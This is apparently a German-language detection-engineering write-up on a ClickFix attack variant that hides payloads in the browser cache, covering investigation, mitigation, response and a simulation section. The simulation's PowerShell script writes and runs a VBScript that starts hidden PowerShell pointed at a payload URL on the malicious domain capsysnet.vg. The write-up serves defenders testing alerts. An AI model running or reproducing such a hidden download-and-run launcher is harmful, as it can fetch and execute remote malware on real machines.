ClickFix-Angriff liefert Nutzlasten über Browser-Cache

Zusammenfassung

Eine neue Variante des ClickFix-Angriffs nutzt kompromittierte Websites, um bösartige Skripte in den Cache eines Webbrowsers vorab zu laden, getarnt als legitime Dateien wie PNGs. Opfer werden mittels Social Engineering dazu gebracht, Befehle über den Windows-Dialog ‚Ausführen‘ auszuführen, wodurch die Ausführung der im Cache gespeicherten Nutzlast ausgelöst wird, um Zeichenlimits und Sicherheitskontrollen zu umgehen. Diese Technik führt letztlich zum Diebstahl von Anmeldeinformationen durch Injektion in legitime Prozesse.

Untersuchung

Microsoft Threat Intelligence und andere Forscher identifizierten eine mehrstufige Infektionskette, die VBScript, PowerShell und .NET-Assemblies umfasst. Die Angriffskette nutzt Browser-Cache-Schmuggel, um Nutzlasten zu verstecken, und verwendet WMI, um Host-Informationen zu ernten. Die Untersuchung hob die Nutzung legitimer Systemtools wie cmd.exe, wscript.exe und timeout.exe zur Ermöglichung des Angriffs hervor.

Minderung

Organisationen sollten cloudbasierte, Web- und Netzwerkschutzmaßnahmen zusammen mit Anwendungssteuerung und PowerShell-Skriptblockprotokollierung implementieren. Benutzer sollten geschult werden, niemals Befehle in Windows Ausführen, Terminal oder PowerShell einzufügen, wenn sie von Website-Fehlern oder CAPTCHAs dazu aufgefordert werden. Es wird auch empfohlen, auf verdächtige Browseraktivitäten und WScript/PowerShell-Nachfolgeprozesse zu überwachen.

Antwort

Bei Erkennung sollten verdächtige Aktivitäten im RunMRU-Registrierungsschlüssel verfolgt und ungewöhnliche geplante Aufgaben überwacht werden. Untersuchen Sie Nachfolgeprozesse, die von WScript oder PowerShell gestartet wurden, und kontrollieren Sie, ob unerlaubte .NET-Assemblies in den Speicher geladen wurden. Isolieren Sie betroffene Systeme und überprüfen Sie Netzwerkprotokolle auf ausgehende Verbindungen zu bekannten bösartigen Domains.

Simulation Ausführung

• Angriffserzählung & Befehle: Der Gegner nutzt eine Social-Engineering-Taktik, bei der ein Benutzer aufgefordert wird, einen Browserfehler zu ‚beheben‘. Dieser Prozess schmuggelt ein bösartiges VBScript in ein temporäres Verzeichnis (simuliert den Browser-Cache). Der Gegner führt dann dieses VBScript mithilfe von wscript.exe. Das VBScript ist so gestaltet, dass es PowerShell mit dem -WindowStyle Hidden Flag aufruft, um Nutzererkennung zu vermeiden, und versucht, eine Verbindung zur Domain capsysnet.vg herzustellen, um eine sekundäre Nutzlast abzurufen. Diese Sequenz ist so konzipiert, dass die spezifische, auf Zeichenketten basierende Erkennungslogik in der Regel ausgelöst wird.

• Regressionstest-Skript:

  # Simulationsskript: Nachahmung des ClickFix-Nutzlast-Schmuggels
  $tempDir = $env:TEMP
  $vbsPath = Join-Path $tempDir "malicious_smuggled.vbs"
  
  # Erstellen eines VBScript, das das bösartige Verhalten simuliert
  # Es versucht, PowerShell mit der speziellen Zeichenfolge, nach der die Regel sucht,
  # aufzurufen und bezieht sich auf die verdächtige Domain.
  $vbsContent = @"
  Set objShell = CreateObject("WScript.Shell")
  ' Simulieren des Aufrufs eines Skripts namens v.ps1 mit verstecktem Fensterstil
  ' und Verbindung zur verdächtigen Domain
  objShell.Run "powershell.exe -File v.ps1 -WindowStyle Hidden -Url http://capsysnet.vg/payload.exe", 0, True
  "@
  
  Set-Content -Path $vbsPath -Value $vbsContent
  
  Write-Host "[+] Bösartiges VBScript erstellt unter: $vbsPath"
  Write-Host "[+] Ausführen des VBScript über wscript.exe, um die Erkennung auszulösen..."
  
  # Führen Sie das VBScript aus
  Start-Process "wscript.exe" -ArgumentList "`"$vbsPath`""
  
  Write-Host "[+] Simulationsbefehl gesendet. Überprüfen Sie SIEM auf Alarme."

• Bereinigungsbefehle:

  # Bereinigung: Entfernen der simulierten bösartigen Dateien
  $tempDir = $env:TEMP
  $vbsPath = Join-Path $tempDir "malicious_smuggled.vbs"
  if (Test-Path $vbsPath) {
      Remove-Item -Path $vbsPath -Force
      Write-Host "[+] Bereinigung abgeschlossen: $vbsPath entfernt."
  } else {
      Write-Host "[!] Bereinigung fehlgeschlagen: Datei nicht gefunden."
  }